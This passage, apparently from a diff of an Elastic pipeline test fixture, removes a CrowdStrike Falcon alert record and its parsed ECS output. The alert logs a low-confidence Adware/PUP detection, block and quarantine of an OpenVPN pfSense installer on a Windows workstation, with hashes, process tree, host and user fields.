]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-            },
-            "host": {
-                "domain": "ABC.LOCAL",
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "mac": [
-                    "AB-21-48-61-05-B2"
-                ],
-                "os": {
-                    "full": "Windows11",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "process": {
-                "end": "2023-11-03T18:00:21.000Z",
-                "entity_id": "399748687993",
-                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "hash": {
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                },
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "parent": {
-                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
-                    "entity_id": "392736520876",
-                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                    "hash": {
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-                    },
-                    "name": "explorer.exe",
-                    "pid": 392736520876
-                },
-                "pid": 399748687993,
-                "start": "2023-11-03T18:00:13.000Z",
-                "user": {
-                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "name": "mohit.jha"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b07f77fd3f9828b2c9d61f8a36609741",
-                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "8cc3fcdd7d52d2d5221303c213e044ae",
-                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "ABC.LOCAL",
-                    "ABC709-1175"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "yuvraj.mahajan",
-                    "mohit.jha"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0004"
-                    ],
-                    "name": [
-                        "MachineLearning"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0000"
-                    ],
-                    "name": [
-                        "Adware/PUP"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "name": "mohit.jha"
-            }
-        },
-        {
-            "@timestamp": "2023-11-03T18:00:22.328Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "alleged_filetype": "exe",
-                    "cid": "92012896127c4a948236ba7601b886b0",
-                    "cloud_indicator": false,
-                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "confidence": 10,
-                    "context_timestamp": "2023-11-03T18:00:31.000Z",
-                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                    "crawl_edge_ids": {
-                        "Sensor": [
-                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
-                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
-                        ]
-                    },
-                    "crawl_vertex_ids": {
-                        "Sensor": [
-                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                        ]
-                    },
-                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-                    "created_timestamp": "2023-11-03T18:01:23.995Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                    "device": {
-                        "agent_load_flags": 0,
-                        "agent_local_time": "2023-10-12T03:45:57.753Z",
-                        "agent_version": "7.04.17605.0",
-                        "bios_manufacturer": "ABC",
-                        "bios_version": "F8CN42WW(V2.05)",
-                        "cid": "92012896127c4a948236ba7601b886b0",
-                        "config_id_base": "65994763",
-                        "config_id_build": "17605",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.142",
-                        "first_seen": "2023-04-07T09:36:36.000Z",
-                        "groups": [
-                            "18704e21288243b58e4c76266d38caaf"
-                        ],
-                        "hostinfo": {
-                            "active_directory_dn_display": [
-                                "WinComputers",
-                                "WinComputers\\ABC"
-                            ],
-                            "domain": "ABC.LOCAL"
-                        },
-                        "hostname": "ABC709-1175",
-                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                        "last_seen": "2023-11-03T17:51:42.000Z",
-                        "local_ip": "81.2.69.142",
-                        "mac_address": "AB-21-48-61-05-B2",
-                        "machine_domain": "ABC.LOCAL",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                        "os_version": "Windows11",
-                        "ou": [
-                            "ABC",
-                            "WinComputers"
-                        ],
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "site_name": "Default-First-Site-Name",
-                        "status": "normal",
-                        "system_manufacturer": "LENOVO",
-                        "system_product_name": "20VE"
-                    },
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "grandparent_details": {
-                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                        "filename": "userinit.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                        "local_process_id": "4328",
-                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                        "process_id": "392734873135",
-                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                        "timestamp": "2023-10-30T16:49:19.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "yuvraj.mahajan"
-                    },
-                    "has_script_or_module_ioc": true,
-                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "ioc_context": [
-                        {
-                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "ioc_source": "library_load",
-                            "ioc_type": "hash_sha256",
-                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "type": "module"
-                        }
-                    ],
-                    "ioc_values": [
-                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                    ],
-                    "is_synthetic_quarantine_disposition": true,
-                    "local_process_id": "17076",
-                    "logon_domain": "ABSYS",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "name": "PrewittPupAdwareSensorDetect-Lowest",
-                    "objective": "FalconDetectionMethod",
-                    "parent_details": {
-                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                        "filename": "explorer.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                        "local_process_id": "1040",
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                        "process_id": "392736520876",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                        "timestamp": "2023-11-03T18:00:32.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "mohit.jha"
-                    },
-                    "parent_process_id": "392736520876",
-                    "pattern_disposition": 2176,
-                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "process_blocked": true,
-                        "quarantine_file": true,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "5761",
-                    "platform": "Windows",
-                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                    "process_end_time": "2023-11-03T18:00:21.000Z",
-                    "process_id": "399748687993",
-                    "process_start_time": "2023-11-03T18:00:13.000Z",
-                    "product": "epp",
-                    "quarantined_files": [
-                        {
-                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "state": "quarantined"
-                        }
-                    ],
-                    "scenario": "NGAV",
-                    "severity": 30,
-                    "severity_name": "low",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "FalconInsight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "MachineLearning",
-                    "tactic_id": "CSTA0004",
-                    "technique": "Adware/PUP",
-                    "technique_id": "CST0000",
-                    "timestamp": "2023-11-03T18:00:22.328Z",
-                    "tree_id": "1931778",
-                    "tree_root": "38687993",
-                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                    "type": "ldt",
-                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
-                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "user_name": "mohit.jha"
-                }
-            },
-            "device": {
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "manufacturer": "LENOVO",
-                "model": {
-                    "name": "20VE"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "kind": "alert",
